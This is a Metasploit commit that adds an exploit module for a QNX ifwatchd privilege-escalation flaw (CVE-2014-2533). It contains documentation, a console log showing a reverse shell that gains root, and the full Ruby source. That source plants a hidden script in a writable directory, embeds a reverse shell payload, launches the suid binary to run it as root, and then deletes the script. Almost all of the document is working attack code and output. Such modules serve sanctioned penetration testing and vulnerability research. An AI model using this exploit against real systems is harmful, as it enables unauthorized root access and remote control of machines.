Land #9745, Add ifwatchd QNX privilege escalation exploit module

4.x
Brent Cook 2018-10-06 05:03:50 -04:00 committed by Metasploit
parent 1ff5d8f6bd
commit 2be1b87d0d
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
2 changed files with 185 additions and 0 deletions

View File

@ -0,0 +1,64 @@
## Description
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
systems by exploiting the `ifwatchd` suid executable.
## Vulnerable Application
`ifwatchd` allows users to specify scripts to execute using the `-A`
command line argument; however, it does not drop privileges when
executing user-supplied scripts, resulting in execution of arbitrary
commands as root.
This module has been tested successfully on:
* QNX Neutrino 6.5.0 (x86)
* QNX Neutrino 6.5.0 SP1 (x86)
QNX Neutrino 6.5.0 Service Pack 1 is available here:
* http://www.qnx.com/download/feature.html?programid=23665
## Verification Steps
1. Start `msfconsole`
2. `use exploit/qnx/local/ifwatchd_priv_esc`
3. `set session <ID>`
4. `run`
5. You should get a *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
## Scenarios
```
msf5 > use exploit/qnx/local/ifwatchd_priv_esc
msf5 exploit(qnx/local/ifwatchd_priv_esc) > set session 1
session => 1
msf5 exploit(qnx/local/ifwatchd_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(qnx/local/ifwatchd_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing interface arrival event script...
[*] Executing /sbin/ifwatchd...
[*] Command shell session 2 opened (172.16.191.188:4444 -> 172.16.191.215:65500) at 2018-03-22 15:18:48 -0400
id
uid=100(test) gid=100 euid=0(root)
uname -a
QNX localhost 6.5.0 2012/06/20-13:50:50EDT x86pc x86
```

View File

@ -0,0 +1,121 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ifwatchd Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
systems by exploiting the ifwatchd suid executable.
ifwatchd allows users to specify scripts to execute using the '-A'
command line argument; however, it does not drop privileges when
executing user-supplied scripts, resulting in execution of arbitrary
commands as root.
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
},
'License' => MSF_LICENSE,
'Author' =>
[
'cenobyte', # Discovery and exploit
'Tim Brown', # Independent discovery
'Brendan Coles' # Metasploit
],
'References' =>
[
['CVE', '2014-2533'],
['BID', '66449'],
['EDB', '32153'],
['URL', 'http://seclists.org/bugtraq/2014/Mar/66']
],
'DisclosureDate' => 'Mar 10 2014',
'Platform' => 'unix', # QNX
'Arch' => ARCH_CMD,
'SessionTypes' => %w(shell meterpreter),
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'Payload' =>
{
'BadChars' => '',
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'gawk generic'
}
},
'DefaultOptions' =>
{
'WfsDelay' => 10,
'PAYLOAD' => 'cmd/unix/reverse_awk'
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def ifwatchd_path
'/sbin/ifwatchd'
end
def check
unless setuid? ifwatchd_path
vprint_error "#{ifwatchd_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{ifwatchd_path} is setuid"
CheckCode::Detected
end
def base_dir
datastore['WritableDir']
end
def is_root?
id = cmd_exec 'id'
(id.include?('uid=0') && id.include?('root'))
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
script_path = "#{base_dir}/.#{rand_text_alphanumeric rand(10..15)}"
print_status 'Writing interface arrival event script...'
cmd_exec "echo '#!/bin/sh' > #{script_path}"
cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}"
cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}"
exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')
cmd_exec "echo \"#{exp}\" >> #{script_path}"
cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"
cmd_exec "chmod +x '#{script_path}'"
print_status "Executing #{ifwatchd_path}..."
interface = 'lo0'
cmd_exec "#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo "
Rex.sleep 5
cmd_exec "rm -f '#{script_path}'"
end
end